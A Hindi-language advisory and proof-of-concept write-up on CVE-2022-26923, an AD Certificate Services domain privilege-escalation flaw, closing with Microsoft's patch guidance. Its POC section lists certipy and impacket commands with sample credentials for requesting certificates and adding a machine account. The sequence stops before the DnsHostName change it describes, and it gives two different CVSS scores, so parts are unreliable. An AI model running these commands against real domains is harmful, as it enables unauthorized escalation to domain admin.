CVE-2022-26923 AD Certificate Services

• प्रकाशन की तिथि : 10/05/2022
• हमले की जटिलता: निम्न
• आवश्यक विशेषाधिकार: निम्न
• CVSS स्कोर : 8.1

इस कमजोरी ने एक निम्न-विशेषाधिकार वाले उपयोगकर्ता को, Active Directory Certificate Services (AD CS) सर्वर भूमिका स्थापित डिफ़ॉल्ट Active Directory वातावरण में, डोमेन व्यवस्थापक के विशेषाधिकारों तक पहुँचने की अनुमति दी।

Oliver Lyak (ly4k_) द्वारा Python में एक शोषण (exploit) विकसित किया गया था और इसे परामर्श से पहले प्रकाशित किया गया था, बाद में नहीं। इसे प्रमाण-अवधारणा (proof-of-concept) घोषित किया गया है। यह शोषण research.ifcr.dk पर डाउनलोड के लिए उपलब्ध है।

स्रोत :

• https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923
• https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
• https://vuldb.com/fr/?id.199368

विवरण

हाल ही में सामने आया Active Directory Domain विशेषाधिकार उन्नयन दोष अभी तक वास्तविक दुनिया में शोषित नहीं हुआ है, फिर भी इसका उच्च 8.8 CVSS स्कोर समझौता किए गए सिस्टमों के लिए उच्च जोखिम की ओर संकेत करता है, जिससे हमलावर प्रमाणपत्र मुद्दों का दुरुपयोग कर सकते हैं। CVE-2022–26923 DnsHostName विशेषता में हेरफेर करने की अनुमति देता है, जो कंप्यूटर नाम को निर्दिष्ट करती है जैसा कि DNS में पंजीकृत है, और फिर एक प्रतिद्वंद्वी को AD Certificate Services से प्रमाणपत्र प्राप्त करने में सक्षम बनाता है, जो संभावित रूप से विशेषाधिकार उन्नयन की ओर ले जाता है।

POC

    - उपयोगकर्ता नाम: user_test
    - पासवर्ड: Password123#
    - डोमेन: my.domain.com
    
    पुनरुत्पादन के लिए आपको यह करना होगा: 
    - हमला करने वाली मशीन पर impacket और certipy स्थापित होना चाहिए।
      - https://github.com/SecureAuthCorp/impacket
      - https://github.com/ly4k/Certipy
    - आपने निम्न विशेषाधिकार वाले उपयोगकर्ता से समझौता किया हो। 
    - कोई सिस्टम केवल तभी संवेदनशील है जब डोमेन पर Active Directory Certificate Services चल रही हो।

1. आइए अपने निम्न विशेषाधिकार वाले AD उपयोगकर्ता (उपयोगकर्ता नाम=user_test पासवर्ड=Password123#) के लिए User प्रमाणपत्र टेम्पलेट का उपयोग करके एक प्रमाणपत्र उत्पन्न करके शुरू करें :

   root@kitploit:~

   certipy req 'my.domain.com/user_test:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template User
   

2. आइए जाँचें कि प्रमाणपत्र मान्य है और Certipy के माध्यम से Kerberos प्रमाणीकरण के लिए इसका उपयोग किया जा सकता है :

   root@kitploit:~

   certipy auth -pfx user_test.pfx
   

3. Impacket के साथ डोमेन में एक वर्चुअल कंप्यूटर जोड़ना

   root@kitploit:~

   addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
   
   # my.domain.com/user_test:Password123# - We need to provide valid AD credentials in order to add a new computer.
   # method - The method of authentication. LDAPS will interface with the LDAP service on the domain controller.
   # computer-name - The name of our computer. This can be anything we like, as long as it is not the same as an existing computer object.
   # computer-pass - The password associated with our computer's machine account. We will need to impersonate this computer that we create, so make note of the password you chose here.
   

4. आइए हमारे द्वारा बनाए गए नए कंप्यूटर के लिए एक प्रमाणपत्र उत्पन्न करें। उक्त कंप्यूटर के मशीन खाते का उपयोग करने के लिए, आपको नाम के अंत में "$" जोड़ना होगा:

   root@kitploit:~

   certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
   

शमन और सुधार

CVE-2022–26923 के शमन और सुरक्षात्मक उपायों के लिए, Microsoft दृढ़ता से अनुशंसा करता है कि AD Certificate Services चलाने वाले सभी सर्वरों और प्रमाणपत्र-आधारित प्रमाणीकरण संचालित करने वाले Windows डोमेन नियंत्रकों को नवीनतम 10 मई संस्करण में अपडेट किया जाए।

• https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923